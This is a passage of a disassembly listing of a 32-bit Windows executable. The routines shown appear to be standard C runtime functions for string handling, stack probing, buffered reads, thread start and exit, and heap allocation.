XREF: sub_402296+53p ; sub_402296+66p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ecx, [esp+4+arg_0] mov ebx, [esp+4+arg_4] mov edx, ecx jmp short loc_40775E ; --------------------------------------------------------------------------- loc_40775D: ; CODE XREF: sub_407750+11j inc edx loc_40775E: ; CODE XREF: sub_407750+Bj cmp byte ptr [edx], 0 jnz short loc_40775D jmp short loc_407767 ; --------------------------------------------------------------------------- loc_407765: ; CODE XREF: sub_407750+1Dj inc edx inc ebx loc_407767: ; CODE XREF: sub_407750+13j mov al, [ebx] mov [edx], al test al, al jnz short loc_407765 mov eax, ecx pop ebx retn sub_407750 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_407780 proc near ; CODE XREF: sub_4025A9+268p ; sub_4025A9+297p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi push edi mov ebx, [esp+0Ch+arg_0] mov eax, [esp+0Ch+arg_4] cmp byte ptr [eax], 0 jnz short loc_4077B0 mov eax, ebx jmp short loc_4077C9 ; --------------------------------------------------------------------------- loc_407794: ; CODE XREF: sub_407780+45j mov edi, ebx mov esi, [esp+0Ch+arg_4] loc_40779A: ; CODE XREF: sub_407780+2Dj inc esi mov eax, esi cmp byte ptr [eax], 0 jnz short loc_4077A6 mov eax, ebx jmp short loc_4077C9 ; --------------------------------------------------------------------------- loc_4077A6: ; CODE XREF: sub_407780+20j inc edi mov eax, edi mov dl, [esi] cmp [eax], dl jz short loc_40779A inc ebx loc_4077B0: ; CODE XREF: sub_407780+Ej mov eax, [esp+0Ch+arg_4] movzx eax, byte ptr [eax] push eax push ebx call sub_408F40 add esp, 8 mov ebx, eax test eax, eax jnz short loc_407794 xor eax, eax loc_4077C9: ; CODE XREF: sub_407780+12j ; sub_407780+24j pop edi pop esi pop ebx retn sub_407780 endp ; --------------------------------------------------------------------------- align 10h pop ecx pop eax add eax, 3 and eax, 0FFFFFFFCh call sub_4077F0 mov eax, esp push ecx retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4077F0 proc near ; CODE XREF: sub_402896+8p ; sub_402B02+8p ... arg_0 = byte ptr 4 push ecx cmp eax, 1000h lea ecx, [esp+4+arg_0] jb short loc_407810 loc_4077FC: ; CODE XREF: sub_4077F0+1Ej sub ecx, 1000h sub eax, 1000h test [ecx], eax cmp eax, 1000h jnb short loc_4077FC loc_407810: ; CODE XREF: sub_4077F0+Aj sub ecx, eax mov eax, esp test [ecx], eax mov esp, ecx mov ecx, [eax] mov eax, [eax+4] push eax retn sub_4077F0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407820 proc near ; CODE XREF: sub_403838+D8p ; sub_405EB2+CBp ... var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 14h push ebx push esi push edi mov ebx, [ebp+arg_C] mov eax, [ebp+arg_0] mov [ebp+var_4], eax mov eax, [ebp+arg_4] mul [ebp+arg_8] mov esi, eax test eax, eax jz loc_407924 cmp [ebp+arg_4], 0 jnz loc_4078FA mov eax, [ebp+arg_8] jmp loc_407924 ; --------------------------------------------------------------------------- loc_407854: ; CODE XREF: sub_407820+DCj mov eax, [ebx+18h] cmp eax, [ebx+10h] ja short loc_40786B push ebx call sub_408F60 pop ecx test eax, eax jl loc_407902 loc_40786B: ; CODE XREF: sub_407820+3Aj test word ptr [ebx], 400h jz short loc_407886 push esi push 0Ah mov eax, [ebp+var_4] push eax call sub_409060 add esp, 0Ch mov [ebp+var_10], eax jmp short loc_40788D ; --------------------------------------------------------------------------- loc_407886: ; CODE XREF: sub_407820+50j mov [ebp+var_10], 0 loc_40788D: ; CODE XREF: sub_407820+64j mov eax, [ebp+var_10] mov [ebp+var_8], eax test eax, eax jz short loc_4078A5 mov eax, [ebp+var_8] mov edx, [ebp+var_4] sub eax, edx inc eax mov [ebp+var_14], eax jmp short loc_4078A8 ; --------------------------------------------------------------------------- loc_4078A5: ; CODE XREF: sub_407820+75j mov [ebp+var_14], esi loc_4078A8: ; CODE XREF: sub_407820+83j mov edi, [ebp+var_14] mov eax, [ebx+18h] mov edx, [ebx+10h] sub eax, edx mov [ebp+var_C], eax cmp [ebp+var_C], edi jnb short loc_4078C5 mov [ebp+var_8], 0 mov edi, [ebp+var_C] loc_4078C5: ; CODE XREF: sub_407820+99j push edi mov eax, [ebp+var_4] push eax mov eax, [ebx+10h] push eax call sub_4076F0 add esp, 0Ch mov eax, [ebp+var_4] add eax, edi mov [ebp+var_4], eax sub esi, edi lea eax, [ebx+10h] mov edx, [eax] add edx, edi mov [eax], edx cmp [ebp+var_8], 0 jz short loc_4078FA push ebx call sub_408D60 pop ecx test eax, eax jnz short loc_407902 loc_4078FA: ; CODE XREF: sub_407820+26j ; sub_407820+CDj test esi, esi jnz loc_407854 loc_407902: ; CODE XREF: sub_407820+45j ; sub_407820+D8j test word ptr [ebx], 800h jz short loc_407910 push ebx call sub_408D60 pop ecx loc_407910: ; CODE XREF: sub_407820+E7j mov eax, [ebp+arg_4] mov [ebp+var_8], eax mul [ebp+arg_8] sub eax, esi mov edx, [ebp+var_8] mov ecx, edx xor edx, edx div ecx loc_407924: ; CODE XREF: sub_407820+1Cj ; sub_407820+2Fj pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_407820 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407930 proc near ; DATA XREF: sub_4079D0+2Do ; sub_449CF1+2Do var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_40F8D4 push offset sub_408478 push large dword ptr fs:0 mov large fs:0, esp sub esp, 0Ch push ebx push esi push edi mov [ebp+var_18], esp mov ebx, [ebp+arg_0] push ebx mov eax, dword_411770 push eax call dword_411D98 test eax, eax jnz short loc_407972 push 1 call sub_409250 pop ecx loc_407972: ; CODE XREF: sub_407930+38j mov [ebp+var_4], 0 mov eax, [ebx+44h] push eax call dword ptr [ebx+40h] pop ecx call sub_407A60 jmp short loc_4079B0 ; --------------------------------------------------------------------------- mov eax, [ebp+var_14] mov eax, [eax] mov eax, [eax] mov [ebp+var_1C], eax mov eax, [ebp+var_14] push eax mov eax, [ebp+var_1C] push eax call sub_409260 add esp, 8 retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] mov eax, [ebp+var_1C] push eax call sub_409250 pop ecx loc_4079B0: ; CODE XREF: sub_407930+56j or [ebp+var_4], 0FFFFFFFFh xor eax, eax pop edi pop esi pop ebx mov ecx, [ebp+var_10] mov large fs:0, ecx mov esp, ebp pop ebp retn 4 sub_407930 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4079D0 proc near ; CODE XREF: sub_403C3F+366p ; sub_40400E+14p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx push esi push edi xor esi, esi push 48h call sub_408260 pop ecx mov ebx, eax test eax, eax jz short loc_407A3F push ebx call sub_409120 pop ecx mov eax, [ebp+arg_0] mov [ebx+40h], eax mov eax, [ebp+arg_8] mov [ebx+44h], eax push ebx push 4 push ebx push offset sub_407930 mov eax, [ebp+arg_4] push eax push 0 call dword_411D9C mov edi, eax mov [ebx+4], eax test eax, eax jnz short loc_407A21 call dword_411CE8 mov esi, eax jmp short loc_407A3F ; --------------------------------------------------------------------------- loc_407A21: ; CODE XREF: sub_4079D0+45j mov eax, edi push eax call dword_411DA0 cmp eax, 0FFFFFFFFh jnz short loc_407A3B call dword_411CE8 mov esi, eax jmp short loc_407A3F ; --------------------------------------------------------------------------- loc_407A3B: ; CODE XREF: sub_4079D0+5Fj mov eax, edi jmp short loc_407A54 ; --------------------------------------------------------------------------- loc_407A3F: ; CODE XREF: sub_4079D0+14j ; sub_4079D0+4Fj ... push ebx call sub_4071B0 pop ecx test esi, esi jz short loc_407A51 push esi call sub_408300 pop ecx loc_407A51: ; CODE XREF: sub_4079D0+78j or eax, 0FFFFFFFFh loc_407A54: ; CODE XREF: sub_4079D0+6Dj pop edi pop esi pop ebx pop ebp retn sub_4079D0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_407A60 proc near ; CODE XREF: sub_40399A+1D7p ; sub_403C3F+39Fp ... push ebx call sub_409150 mov ebx, eax test eax, eax jnz short loc_407A74 push 1 call sub_409250 pop ecx loc_407A74: ; CODE XREF: sub_407A60+Aj cmp dword ptr [ebx+4], 0FFFFFFFFh jz short loc_407A87 mov eax, [ebx+4] push eax call dword_411CF8 loc_407A87: ; CODE XREF: sub_407A60+1Bj push ebx call sub_4091C0 pop ecx push 0 call dword_411DA4 pop ebx retn sub_407A60 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407AA0 proc near ; CODE XREF: sub_40592F+DAp ; sub_40592F+F1p ... var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 ; FUNCTION CHUNK AT 00407B26 SIZE 0000001B BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_40F8E0 push offset sub_408478 push large dword ptr fs:0 mov large fs:0, esp sub esp, 8 push ebx push esi push edi mov [ebp+var_18], esp push 2 call sub_408800 pop ecx mov [ebp+var_4], 0 jmp short loc_407AEC ; --------------------------------------------------------------------------- loc_407AD7: ; CODE XREF: sub_407AA0+53j mov eax, dword_4111A0 lea edx, [eax+1] mov dword_4111A0, edx call dword_411060[eax*4] loc_407AEC: ; CODE XREF: sub_407AA0+35j cmp dword_4111A0, 50h jb short loc_407AD7 jmp short loc_407B09 ; --------------------------------------------------------------------------- loc_407AF7: ; CODE XREF: sub_407AA0+70j mov eax, dword_4111A4 dec eax mov dword_4111A4, eax call dword_411060[eax*4] loc_407B09: ; CODE XREF: sub_407AA0+55j cmp dword_4111A4, 0 jnz short loc_407AF7 or [ebp+var_4], 0FFFFFFFFh call sub_407B1D jmp short loc_407B26 sub_407AA0 endp ; =============== S U B R O U T I N E ======================================= sub_407B1D proc near ; CODE XREF: sub_407AA0+76p ; DATA XREF: DMN0:0040F8E8o push 2 call sub_408880 pop ecx retn sub_407B1D endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_407AA0 loc_407B26: ; CODE XREF: sub_407AA0+7Bj mov eax, [ebp+arg_0] push eax call sub_409250 pop ecx pop edi pop esi pop ebx mov ecx, [ebp+var_10] mov large fs:0, ecx mov esp, ebp pop ebp retn ; END OF FUNCTION CHUNK FOR sub_407AA0 ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_407B50 proc near ; CODE XREF: sub_406544+1AAp ; sub_406544+1D9p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_4092D0 pop ecx retn sub_407B50 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407B60 proc near ; DATA XREF: DMN1:00469EA2o starto var_60 = dword ptr -60h var_5C = byte ptr -5Ch var_30 = dword ptr -30h var_2C = word ptr -2Ch var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_4 = dword ptr -4 push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_40F8EC push offset sub_408478 push large dword ptr fs:0 mov large fs:0, esp sub esp, 50h push ebx push esi push edi mov [ebp+var_18], esp push 2000000h call sub_40AEF0 pop ecx mov dword_4117DC, eax call sub_408670 test eax, eax jnz short loc_407BA7 push 1 call sub_409250 pop ecx loc_407BA7: ; CODE XREF: sub_407B60+3Dj call sub_409090 test eax, eax jnz short loc_407BB8 push 1 call sub_409250 pop ecx loc_407BB8: ; CODE XREF: sub_407B60+4Ej mov [ebp+var_4], 0 call sub_409300 call sub_409360 call sub_4097D0 call sub_409870 mov esi, offset dword_4101EC jmp short loc_407BDF ; --------------------------------------------------------------------------- loc_407BDA: ; CODE XREF: sub_407B60+85j call dword ptr [esi] add esi, 4 loc_407BDF: ; CODE XREF: sub_407B60+78j cmp esi, offset dword_4101EC jb short loc_407BDA mov [ebp+var_30], 0 lea eax, [ebp+var_5C] push eax call dword_411DA8 push 0 call dword_411D6C mov [ebp+var_60], eax call sub_409930 test byte ptr [ebp+var_30], 1 jz short loc_407C14 movzx esi, [ebp+var_2C] jmp short loc_407C19 ; --------------------------------------------------------------------------- loc_407C14: ; CODE XREF: sub_407B60+ACj mov esi, 0Ah loc_407C19: ; CODE XREF: sub_407B60+B2j push esi push eax push 0 mov eax, [ebp+var_60] push eax call sub_406D48 mov ebx, eax mov edi, offset dword_4101EC jmp short loc_407C34 ; --------------------------------------------------------------------------- loc_407C2F: ; CODE XREF: sub_407B60+DAj call dword ptr [edi] add edi, 4 loc_407C34: ; CODE XREF: sub_407B60+CDj cmp edi, offset dword_4101EC jb short loc_407C2F push ebx call sub_407AA0 pop ecx jmp short loc_407C6D ; --------------------------------------------------------------------------- mov eax, [ebp+var_14] mov eax, [eax] mov eax, [eax] mov [ebp+var_1C], eax mov eax, [ebp+var_14] push eax mov eax, [ebp+var_1C] push eax call sub_409260 add esp, 8 retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] mov eax, [ebp+var_1C] push eax call sub_409250 pop ecx loc_407C6D: ; CODE XREF: sub_407B60+E3j or [ebp+var_4], 0FFFFFFFFh pop edi pop esi pop ebx mov ecx, [ebp+var_10] mov large fs:0, ecx mov esp, ebp pop ebp retn sub_407B60 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407C90 proc near ; CODE XREF: sub_407F20+ECp var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 18h push ebx push esi push edi mov eax, [ebp+arg_0] add eax, 3 shr eax, 0Eh shl eax, 0Eh lea esi, [eax+4000h] mov edi, esi shl edi, 2 push edi call sub_409970 pop ecx mov [ebp+var_8], eax test eax, eax jnz short loc_407CCF mov dword_4117E0, 0 xor eax, eax jmp loc_407F0D ; --------------------------------------------------------------------------- loc_407CCF: ; CODE XREF: sub_407C90+2Cj mov eax, dword_4127EC mov edx, dword_4127E8 add eax, edx cmp eax, [ebp+var_8] jnz short loc_407CF5 mov ebx, dword_4127E8 mov eax, dword_4127EC add edi, eax mov esi, edi shr esi, 2 jmp short loc_407D02 ; --------------------------------------------------------------------------- loc_407CF5: ; CODE XREF: sub_407C90+4Fj mov eax, [ebp+var_8] mov ebx, eax mov edx, ebx sub edx, eax mov eax, edx sub edi, eax loc_407D02: ; CODE XREF: sub_407C90+63j mov eax, esi shl eax, 2 lea edx, [ebx+eax] mov dword_4127E8, edx mov edx, edi sub edx, eax mov eax, edx mov dword_4127EC, eax mov eax, dword_4111CC add eax, 4 cmp ebx, eax jnz short loc_407D34 cmp dword_4111D4, 0 jnz loc_407EA6 loc_407D34: ; CODE XREF: sub_407C90+95j mov eax, dword_4111D4 mov [ebp+var_C], eax mov dword_4111D4, ebx mov eax, [ebp+var_C] mov [ebx], eax add ebx, 4 dec esi mov dword_4111CC, ebx mov eax, dword_4111D0 test eax, eax jz short loc_407D5E cmp eax, ebx jbe short loc_407D64 loc_407D5E: ; CODE XREF: sub_407C90+C8j mov dword_4111D0, ebx loc_407D64: ; CODE XREF: sub_407C90+CCj mov eax, esi or eax, 80000000h mov [ebx], eax mov eax, dword_4111CC lea eax, [eax+esi*4-4] mov dword_4111CC, eax mov edx, dword_4111CC mov eax, esi or eax, 80000000h mov [edx], eax sub esi, 2 add ebx, 4 mov eax, dword_4111CC lea ebx, [eax-4] cmp esi, dword_4111E4 ja short loc_407DD2 cmp esi, dword_4111DC ja short loc_407DBA mov eax, dword_4111D8 cmp esi, eax setnbe al and eax, 1 mov [ebp+var_10], eax jmp short loc_407DCD ; --------------------------------------------------------------------------- loc_407DBA: ; CODE XREF: sub_407C90+116j mov eax, dword_4111E0 cmp esi, eax setnbe al and eax, 1 add eax, 2 mov [ebp+var_10], eax loc_407DCD: ; CODE XREF: sub_407C90+128j mov eax, [ebp+var_10] jmp short loc_407E02 ; --------------------------------------------------------------------------- loc_407DD2: ; CODE XREF: sub_407C90+10Ej cmp esi, dword_4111EC ja short loc_407DEF mov eax, dword_4111E8 cmp esi, eax setnbe al and eax, 1 add eax, 4 mov [ebp+var_10], eax jmp short loc_407E02 ; --------------------------------------------------------------------------- loc_407DEF: ; CODE XREF: sub_407C90+148j mov eax, dword_4111F0 cmp esi, eax setnbe al and eax, 1 add eax, 6 mov [ebp+var_10], eax loc_407E02: ; CODE XREF: sub_407C90+140j ; sub_407C90+15Dj mov eax, [ebp+var_10] mov dword_4111FC, eax mov eax, dword_4111FC mov eax, dword_4111A8[eax*4] mov [ebp+var_18], eax test eax, eax jnz short loc_407E48 mov [ebp+var_14], ebx mov [ebp+var_18], ebx mov eax, dword_4111FC mov dword_4111A8[eax*4], ebx mov eax, dword_4111FC cmp dword_4111F8, eax jle short loc_407E51 mov eax, dword_4111FC mov dword_4111F8, eax jmp short loc_407E51 ; --------------------------------------------------------------------------- loc_407E48: ; CODE XREF: sub_407C90+18Bj mov eax, [ebp+var_18] mov eax, [eax-8] mov [ebp+var_14], eax loc_407E51: ; CODE XREF: sub_407C90+1AAj ; sub_407C90+1B6j mov eax, [ebp+var_18] mov [ebx-4], eax mov edx, [ebp+var_18] mov [edx-8], ebx mov edx, [ebp+var_14] mov [edx-4], ebx mov eax, [ebp+var_14] mov [ebx-8], eax mov eax, esi shl eax, 2 mov edx, ebx sub edx, eax mov [edx+4], esi mov [ebx], esi mov eax, dword_4111FC mov dword_4111A8[eax*4], ebx jmp short loc_407E8B ; --------------------------------------------------------------------------- loc_407E85: ; CODE XREF: sub_407C90+20Dj inc dword_4111F8 loc_407E8B: ; CODE XREF: sub_407C90+1F3j mov eax, dword_4111F8 cmp dword_4111A8[eax*4], 0 jnz short loc_407E9F cmp eax, 7 jl short loc_407E85 loc_407E9F: ; CODE XREF: sub_407C90+208j mov eax, 1 jmp short loc_407F0D ; --------------------------------------------------------------------------- loc_407EA6: ; CODE XREF: sub_407C90+9Ej add ebx, 0FFFFFFFCh mov eax, [ebx] and eax, 7FFFFFFFh add eax, esi mov [ebp+var_4], eax mov eax, esi or eax, 80000000h mov [ebx], eax mov eax, dword_4111CC lea eax, [eax+esi*4] mov dword_4111CC, eax mov edx, dword_4111CC mov eax, [ebx] mov [edx-4], eax mov edx, dword_4111CC mov eax, [ebp+var_4] or eax, 80000000h mov [edx], eax mov eax, [ebp+var_4] mov edx, dword_4111CC mov ecx, eax shl ecx, 2 sub edx, ecx or eax, 80000000h mov [edx+4], eax lea eax, [ebx+4] push eax call sub_4071B0 pop ecx mov eax, 1 loc_407F0D: ; CODE XREF: sub_407C90+3Aj ; sub_407C90+214j pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_407C90 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407F20 proc near ; CODE XREF: sub_408260+4Ap var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 24h push ebx push esi push edi xor ebx, ebx mov eax, [ebp+arg_0] add eax, 3 shr eax, 2 lea esi, [eax+2] cmp esi, 4 jnb short loc_407F41 mov esi, 4 loc_407F41: ; CODE XREF: sub_407F20+1Aj xor edi, edi cmp esi, dword_4111E4 ja short loc_407F7D cmp esi, dword_4111DC ja short loc_407F65 mov eax, dword_4111D8 cmp esi, eax setnbe al and eax, 1 mov [ebp+var_10], eax jmp short loc_407F78 ; --------------------------------------------------------------------------- loc_407F65: ; CODE XREF: sub_407F20+31j mov eax, dword_4111E0 cmp esi, eax setnbe al and eax, 1 add eax, 2 mov [ebp+var_10], eax loc_407F78: ; CODE XREF: sub_407F20+43j mov eax, [ebp+var_10] jmp short loc_407FAD ; --------------------------------------------------------------------------- loc_407F7D: ; CODE XREF: sub_407F20+29j cmp esi, dword_4111EC ja short loc_407F9A mov eax, dword_4111E8 cmp esi, eax setnbe al and eax, 1 add eax, 4 mov [ebp+var_10], eax jmp short loc_407FAD ; --------------------------------------------------------------------------- loc_407F9A: ; CODE XREF: sub_407F20+63j mov eax, dword_4111F0 cmp esi, eax setnbe al and eax, 1 add eax, 6 mov [ebp+var_10], eax loc_407FAD: ; CODE XREF: sub_407F20+5Bj ; sub_407F20+78j mov eax, [ebp+var_10] mov [ebp+var_C], eax mov eax, dword_4111F8 cmp [ebp+var_C], eax jge short loc_407FFD mov eax, dword_4111F8 mov [ebp+var_C], eax jmp short loc_407FFD ; --------------------------------------------------------------------------- loc_407FC7: ; CODE XREF: sub_407F20+E5j mov eax, [ebp+var_C] lea edx, [eax+1] mov [ebp+var_C], edx mov eax, dword_4111A8[eax*4] mov ebx, eax test eax, eax jz short loc_407FFD mov eax, dword_4111CC add eax, 0FFFFFFFCh cmp ebx, eax jnz short loc_407FEC mov ebx, [ebx-4] loc_407FEC: ; CODE XREF: sub_407F20+C7j mov [ebp+var_4], ebx loc_407FEF: ; CODE XREF: sub_407F20+DBj mov edi, [ebx] cmp edi, esi jnb short loc_407FFD mov ebx, [ebx-4] cmp ebx, [ebp+var_4] jnz short loc_407FEF loc_407FFD: ; CODE XREF: sub_407F20+9Bj ; sub_407F20+A5j ... cmp edi, esi jnb short loc_408007 cmp [ebp+var_C], 8 jl short loc_407FC7 loc_408007: ; CODE XREF: sub_407F20+DFj cmp edi, esi jnb short loc_40802D push esi call sub_407C90 pop ecx test eax, eax jz loc_408257 mov eax, dword_4111FC mov [ebp+var_C], eax mov ebx, dword_4111A8[eax*4] mov edi, [ebx] jmp short loc_408036 ; --------------------------------------------------------------------------- loc_40802D: ; CODE XREF: sub_407F20+E9j cmp [ebp+var_C], 0 jle short loc_408036 dec [ebp+var_C] loc_408036: ; CODE XREF: sub_407F20+10Bj ; sub_407F20+111j mov eax, edi sub eax, esi mov [ebp+var_14], eax cmp eax, 4 jb loc_4081BF mov eax, dword_4111E4 cmp [ebp+var_14], eax ja short loc_408086 mov eax, dword_4111DC cmp [ebp+var_14], eax ja short loc_40806D mov eax, dword_4111D8 cmp [ebp+var_14], eax setnbe al and eax, 1 mov [ebp+var_1C], eax jmp short loc_408081 ; --------------------------------------------------------------------------- loc_40806D: ; CODE XREF: sub_407F20+138j mov eax, dword_4111E0 cmp [ebp+var_14], eax setnbe al and eax, 1 add eax, 2 mov [ebp+var_1C], eax loc_408081: ; CODE XREF: sub_407F20+14Bj mov eax, [ebp+var_1C] jmp short loc_4080BA ; --------------------------------------------------------------------------- loc_408086: ; CODE XREF: sub_407F20+12Ej mov eax, dword_4111EC cmp [ebp+var_14], eax ja short loc_4080A6 mov eax, dword_4111E8 cmp [ebp+var_14], eax setnbe al and eax, 1 add eax, 4 mov [ebp+var_1C], eax jmp short loc_4080BA ; --------------------------------------------------------------------------- loc_4080A6: ; CODE XREF: sub_407F20+16Ej mov eax, dword_4111F0 cmp [ebp+var_14], eax setnbe al and eax, 1 add eax, 6 mov [ebp+var_1C], eax loc_4080BA: ; CODE XREF: sub_407F20+164j ; sub_407F20+184j mov eax, [ebp+var_1C] mov [ebp+var_18], eax mov eax, [ebp+var_C] cmp [ebp+var_18], eax jz loc_4081AC mov eax, [ebx-4] mov [ebp+var_20], eax cmp ebx, [ebp+var_20] jnz short loc_40810E mov eax, [ebp+var_C] mov dword_4111A8[eax*4], 0 mov eax, [ebp+var_C] cmp dword_4111F8, eax jnz short loc_40813F jmp short loc_4080F8 ; --------------------------------------------------------------------------- loc_4080F2: ; CODE XREF: sub_407F20+1EAj inc dword_4111F8 loc_4080F8: ; CODE XREF: sub_407F20+1D0j mov eax, dword_4111F8 cmp dword_4111A8[eax*4], 0 jnz short loc_40810C cmp eax, 7 jl short loc_4080F2 loc_40810C: ; CODE XREF: sub_407F20+1E5j jmp short loc_40813F ; --------------------------------------------------------------------------- loc_40810E: ; CODE XREF: sub_407F20+1B5j mov eax, [ebx-8] mov [ebp+var_24], eax mov edx, [ebp+var_24] mov eax, [ebp+var_20] mov [edx-4], eax mov edx, [ebp+var_20] mov eax, [ebp+var_24] mov [edx-8], eax mov eax, [ebp+var_C] cmp ebx, dword_4111A8[eax*4] jnz short loc_40813F mov eax, [ebp+var_C] mov edx, [ebp+var_24] mov dword_4111A8[eax*4], edx loc_40813F: ; CODE XREF: sub_407F20+1CEj ; sub_407F20:loc_40810Cj ... mov eax, [ebp+var_18] mov eax, dword_4111A8[eax*4] mov [ebp+var_24], eax test eax, eax jnz short loc_408175 mov [ebp+var_20], ebx mov [ebp+var_24], ebx mov eax, [ebp+var_18] mov dword_4111A8[eax*4], ebx mov eax, [ebp+var_18] cmp dword_4111F8, eax jle short loc_40817E mov eax, [ebp+var_18] mov dword_4111F8, eax jmp short loc_40817E ; --------------------------------------------------------------------------- loc_408175: ; CODE XREF: sub_407F20+22Ej mov eax, [ebp+var_24] mov eax, [eax-8] mov [ebp+var_20], eax loc_40817E: ; CODE XREF: sub_407F20+249j ; sub_407F20+253j mov eax, [ebp+var_24] mov [ebx-4], eax mov edx, [ebp+var_24] mov [edx-8], ebx mov edx, [ebp+var_20] mov [edx-4], ebx mov eax, [ebp+var_20] mov [ebx-8], eax mov eax, [ebp+var_14] mov edx, eax shl edx, 2 mov ecx, ebx sub ecx, edx mov [ecx+4], eax mov [ebx], eax jmp loc_408234 ; --------------------------------------------------------------------------- loc_4081AC: ; CODE XREF: sub_407F20+1A6j mov eax, [ebp+var_14] mov edx, eax shl edx, 2 mov ecx, ebx sub ecx, edx mov [ecx+4], eax mov [ebx], eax jmp short loc_408234 ; --------------------------------------------------------------------------- loc_4081BF: ; CODE XREF: sub_407F20+120j mov eax, [ebx-4] mov [ebp+var_1C], eax cmp ebx, [ebp+var_1C] jnz short loc_408201 mov eax, [ebp+var_C] mov dword_4111A8[eax*4], 0 mov eax, [ebp+var_C] cmp dword_4111F8, eax jnz short loc_408232 jmp short loc_4081EB ; --------------------------------------------------------------------------- loc_4081E5: ; CODE XREF: sub_407F20+2DDj inc dword_4111F8 loc_4081EB: ; CODE XREF: sub_407F20+2C3j mov eax, dword_4111F8 cmp dword_4111A8[eax*4], 0 jnz short loc_4081FF cmp eax, 7 jl short loc_4081E5 loc_4081FF: ; CODE XREF: sub_407F20+2D8j jmp short loc_408232 ; --------------------------------------------------------------------------- loc_408201: ; CODE XREF: sub_407F20+2A8j mov eax, [ebx-8] mov [ebp+var_20], eax mov edx, [ebp+var_20] mov eax, [ebp+var_1C] mov [edx-4], eax mov edx, [ebp+var_1C] mov eax, [ebp+var_20] mov [edx-8], eax mov eax, [ebp+var_C] cmp ebx, dword_4111A8[eax*4] jnz short loc_408232 mov eax, [ebp+var_C] mov edx, [ebp+var_20] mov dword_4111A8[eax*4], edx loc_408232: ; CODE XREF: sub_407F20+2C1j ; sub_407F20:loc_4081FFj ... mov esi, edi loc_408234: ; CODE XREF: sub_407F20+287j ; sub_407F20+29Dj mov eax, edi shl eax, 2 mov edx, ebx sub edx, eax lea eax, [edx+4] mov [ebp+var_8], eax mov edx, esi or edx, 80000000h mov [eax+esi*4-4], edx mov [eax], edx mov eax, [ebp+var_8] add eax, 4 loc_408257: ; CODE XREF: sub_407F20+F4j pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_407F20 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408260 proc near ; CODE XREF: sub_406E00+Dp ; sub_4079D0+Ap ... var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 ; FUNCTION CHUNK AT 004082C7 SIZE 00000038 BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_40F8FC push offset sub_408478 push large dword ptr fs:0 mov large fs:0, esp sub esp, 0Ch push ebx push esi push edi mov [ebp+var_18], esp mov [ebp+var_1C], 0 mov eax, dword_4117E0 cmp [ebp+arg_0], eax jnb short loc_4082C7 push 0 call sub_408800 pop ecx mov [ebp+var_4], 0 mov eax, [ebp+arg_0] push eax call sub_407F20 pop ecx mov [ebp+var_1C], eax or [ebp+var_4], 0FFFFFFFFh call sub_4082BE jmp short loc_4082C7 sub_408260 endp ; =============== S U B R O U T I N E ======================================= sub_4082BE proc near ; CODE XREF: sub_408260+57p ; DATA XREF: DMN0:0040F904o push 0 call sub_408880 pop ecx retn sub_4082BE endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_408260 loc_4082C7: ; CODE XREF: sub_408260+35j ; sub_408260+5Cj cmp [ebp+var_1C], 0 jnz short loc_4082DA mov eax, [ebp+arg_0] push eax call sub_4086B0 pop ecx mov [ebp+var_1C], eax loc_4082DA: ; CODE XREF: sub_408260+6Bj cmp [ebp+var_1C], 0 jnz short 